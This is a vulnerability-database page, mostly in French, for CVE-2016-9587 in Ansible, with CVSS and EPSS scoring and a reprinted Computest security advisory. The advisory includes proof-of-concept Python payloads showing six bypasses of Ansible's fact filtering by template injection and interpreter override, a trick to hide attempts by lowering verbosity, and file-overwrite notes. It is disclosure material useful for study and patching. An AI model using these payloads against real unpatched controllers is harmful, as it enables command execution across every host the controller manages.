CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Ansible before versions 2.1.4, 2.2.1 is vulnerable to an improper input validation in Ansible's handling of data sent from client systems. An attacker with control over a client system being managed by Ansible and the ability to send facts back to the Ansible server could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
8.1
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
High
successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V3.0
6.6
MEDIUM
CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
High
A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
High
The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
43.01%
–
–
2022-04-10
–
–
39.55%
–
–
2022-07-03
–
–
36.15%
–
–
2023-03-12
–
–
–
1.42%
–
2023-03-19
–
–
–
1.39%
–
2023-04-09
–
–
–
1.28%
–
2023-05-07
–
–
–
1.26%
–
2023-05-28
–
–
–
1.23%
–
2023-06-11
–
–
–
1.26%
–
2023-09-17
–
–
–
1.29%
–
2024-02-11
–
–
–
1.29%
–
2024-03-03
–
–
–
1.21%
–
2024-04-07
–
–
–
1.56%
–
2024-06-02
–
–
–
1.45%
–
2024-07-28
–
–
–
1.71%
–
2024-12-22
–
–
–
1.31%
–
2025-01-05
–
–
–
1.24%
–
2025-02-23
–
–
–
1.24%
–
2025-01-19
–
–
–
1.24%
–
2025-02-23
–
–
–
1.24%
–
2025-03-18
–
–
–
–
10.78%
2025-03-30
–
–
–
–
10.42%
2025-04-06
–
–
–
–
10.42%
2025-04-06
–
–
–
–
10.42,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2017-01-08 23h00 +00:00 Auteur : Computest EDB Vérifié : No
########### Computest security advisory CT-2017-0109 #############
Summary: Command execution on Ansible controller from host
Affected software: Ansible
CVE: CVE-2016-9587
Reference URL: https://www.computest.nl/advisories/
CT-2017-0109_Ansible.txt
Affected versions: < 2.1.4, < 2.2.1
Credit: Undisclosed at Computest (research@computest.nl)
Date of publication: January 9, 2017
During a summary code review of Ansible, Computest found and exploited several
issues that allow a compromised host to execute commands on the Ansible
controller and thus gain access to the other hosts controlled by that
controller.
This was not a full audit and further issues may or may not be present.
About Ansible
-------------
"Ansible is an open-source automation engine that automates cloud provisioning,
configuration management, and application deployment. Once installed on a
control node, Ansible, which is an agentless architecture, connects to a managed
node through the default OpenSSH connection type."
- wikipedia.org
Technical Background
--------------------
A big threat to a configuration management system like Ansible, Puppet, Salt
Stack and others, is compromise of the central node. In Ansible terms this is
called the Controller. If the Controller is compromised, an attacker has
unfettered access to all hosts that are controlled by the Controller. As such,
in any deployment, the central node receives extra attention in terms of
security measures and isolation, and threats to this node are taken even more
seriously.
Fortunately for team blue, in the case of Ansible the attack surface of the
Controller is pretty small. Since Ansible is agent-less and based on push, the
Controller does not expose any services to hosts.
A very interesting bit of attack surface though is in the Facts. When Ansible
runs on a host, a JSON object with Facts is returned to the Controller. The
Controller uses these facts for various housekeeping purposes. Some facts have
special meaning, like the fact "ansible_python_interpreter" and
"ansible_connection". The former defines the command to be run when Ansible is
looking for the python interpreter, and the second determines the host Ansible
is running against. If an attacker is able to control the first fact he can
execute an arbitrary command, and if he is able to control the second fact he is
able to execute on an arbitrary (Ansible-controlled) host. This can be set to
"local" to execute on the Controller itself.
Because of this scenario, Ansible filters out certain facts when reading the
facts that a host returns. However, we have found 6 ways to bypass this filter.
In the scenarios below, we will use the following variables:
PAYLOAD = "touch /tmp/foobarbaz"
# Define some ways to execute our payload.
LOOKUP = "lookup('pipe', '%s')" % PAYLOAD
INTERPRETER_FACTS = {
# Note that it echoes an empty dictionary {} (it's not a format string).
'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD,
'ansible_connection': 'local',
# Become is usually enabled on the remote host, but on the Ansible
# controller it's likely password protected. Disable it to prevent
# password prompts.
'ansible_become': False,
}
Bypass #1: Adding a host
------------------------
Ansible allows modules to add hosts or update the inventory. This can be very
useful, for instance when the inventory needs to be retrieved from a IaaS
platform like as the AWS module does.
If we're lucky, we can guess the inventory_hostname, in which case the host_vars
are overwritten [2] and they will be in effect at the next task. If host_name
doesn't match inventory_hostname, it might get executed in the play for the next
hostgroup, also depending on the limits set on the commandline.
# (Note that when data["add_host"] is set,
# data["ansible_facts"] is ignored.)
data['add_host'] = {
# assume that host_name is the same as inventory_hostname
'host_name': socket.gethostname(),
'host_vars': INTERPRETER_FACTS,
}
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L447
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L580
Bypass #2: Conditionals
-----------------------
Ansible actions allow for conditionals. If we know the exact contents of a
"when" clause, and we register it as a fact, a special case checks whether the
"when" clause matches a variable [1]. In that case it replaces it with its
contents and evaluates [2] them.
# Known conditionals, separated by newlines
known_conditionals_str = """
ansible_os_family == 'Debian'
ansible_os_family == "Debian"
ansible_os_family == 'RedHat'
ansible_os_family == "RedHat"
ansible_distribution == "CentOS"
result|failed
item > 5
foo is defined
"""
known_conditionals = [x.strip() for x in known_conditionals_str.split('\n')]
for known_conditional in known_conditionals:
data['ansible_facts'][known_conditional] = LOOKUP
[1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L118
[2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L125
Bypass #3: Template injection in stat module
--------------------------------------------
The template module/action merges its results with those of the stat module.
This allows us to bypass [1][2][3] the stripping of magic variables from
ansible_facts [4], because they're at an unexpected location in the result tree.
data.update({
'stat': {
'exists': True,
'isdir': False,
'checksum': {
'rc': 0,
'ansible_facts': INTERPRETER_FACTS,
},
}
})
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L39
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L49
# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L146
# [4] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/__init__.py#L678
Bypass #4: Template injection by changing jinja syntax
------------------------------------------------------
Remote facts always get quoted. Set_fact unquotes them by evaluating them.
UnsafeProxy was designed to defend against unquoting by transforming jinja
syntax into jinja comments, effectively disabling injection.
Bypass the filtering of "{{" and "{%" by changing the jinja syntax [1][2]. The
{{}} is needed to make it look like a variable [3]. This works against:
- set_fact: foo="{{ansible_os_family}}"
- command: echo "{{foo}}
data['ansible_facts'].update({
'exploit_set_fact': True,
'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe', '" + PAYLOAD + "')]]",
})
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L66
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L469
# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L308
Bypass #5: Template injection in dict keys
------------------------------------------
Strings and lists are properly cleaned up, but dictionary keys are not [1]. This
works against:
- set_fact: foo="some prefix {{ansible_os_family}} and/or suffix"
- command: echo "{{foo}}
The prefix and/or suffix are needed in order to turn the
dict into a string, otherwise the value would remain a dict.
data['ansible_facts'].update({
'exploit_set_fact': True,
'ansible_os_family': { "{{ %s }}" % LOOKUP: ''},
})
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/vars/unsafe_proxy.py#L104
Bypass #6: Template injection using safe_eval
---------------------------------------------
There's a special case for evaluating strings that look like a list or dict [1].
Strings that begin with "{" or "[" are evaluated by safe_eval [2]. This allows
us to bypass the removal of jinja syntax [3]: we use the whitelisted Python to
re-create a bit of Jinja template that is interpreted.
This works against:
- set_fact: foo="{{ansible_os_family}}"
- command: echo "{{foo}}
data['ansible_facts'].update({
'exploit_set_fact': True,
'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP,
})
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L334
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/safe_eval.py
# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L229
Issue: Disabling verbosity
--------------------------
Verbosity can be set on the controller to get more debugging information. This
verbosity is controlled through a custom fact. A host however can overwrite this
fact and set the verbosity level to 0, hiding exploitation attempts.
data['_ansible_verbose_override'] = 0
# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L99
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L208
Issue: Overwriting files
------------------------
Roles usually contain custom facts that are defined in defaults/main.yml,
intending to be overwritten by the inventory (with group and host vars). These
facts can be overwritten by the remote host, due to the variable precedence [1].
Some of these facts may be used to specify the location of a file that will be
copied to the remote host. The attacker may change it to /etc/passwd. The
opposite is also true, he may be able to overwrite files on the Controller. One
example is the usage of a password lookup with where the filename contains a
variable [2].
[1] http://docs.ansible.com/ansible/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable
[2] http://docs.ansible.com/ansible/playbooks_lookups.html#the-password-lookup
Mitigation
----------
Computest is not aware of mitigations short of installing fixed versions of the
software.
Resolution
----------
Ansible has released new versions that fix the vulnerabilities described in
this advisory: version 2.1.4 for the 2.1 branch and 2.2.1 for the 2.2 branch.
Conclusion
----------
The handling of Facts in Ansible suffers from too many special cases that allow
for the bypassing of filtering. We found these issues in just hours of code
review, which can be interpreted as a sign of very poor security. However, we
don't believe this is the case.
The attack surface of the Controller is very small, as it consists mainly of the
Facts. We believe that it is very well possible to solve the filtering and
quoting of Facts in a sound way, and that when this has been done, the
opportunity for attack in this threat model is very small.
Furthermore, the Ansible security team has been understanding and professional
in their communication around this issue, which is a good sign for the handling
of future issues.
Timeline
--------
2016-12-08 First contact with Ansible security team
2016-12-09 First contact with Redhat security team (secalert@redhat.com)
2016-12-09 Submitted PoC and description to security@ansible.com
2016-12-13 Ansible confirms issue and severity
2016-12-15 Ansible informs us of intent to disclose after holidays
2017-01-05 Ansible informs us of disclosure date and fix versions
2017-01-09 Ansible issues fixed version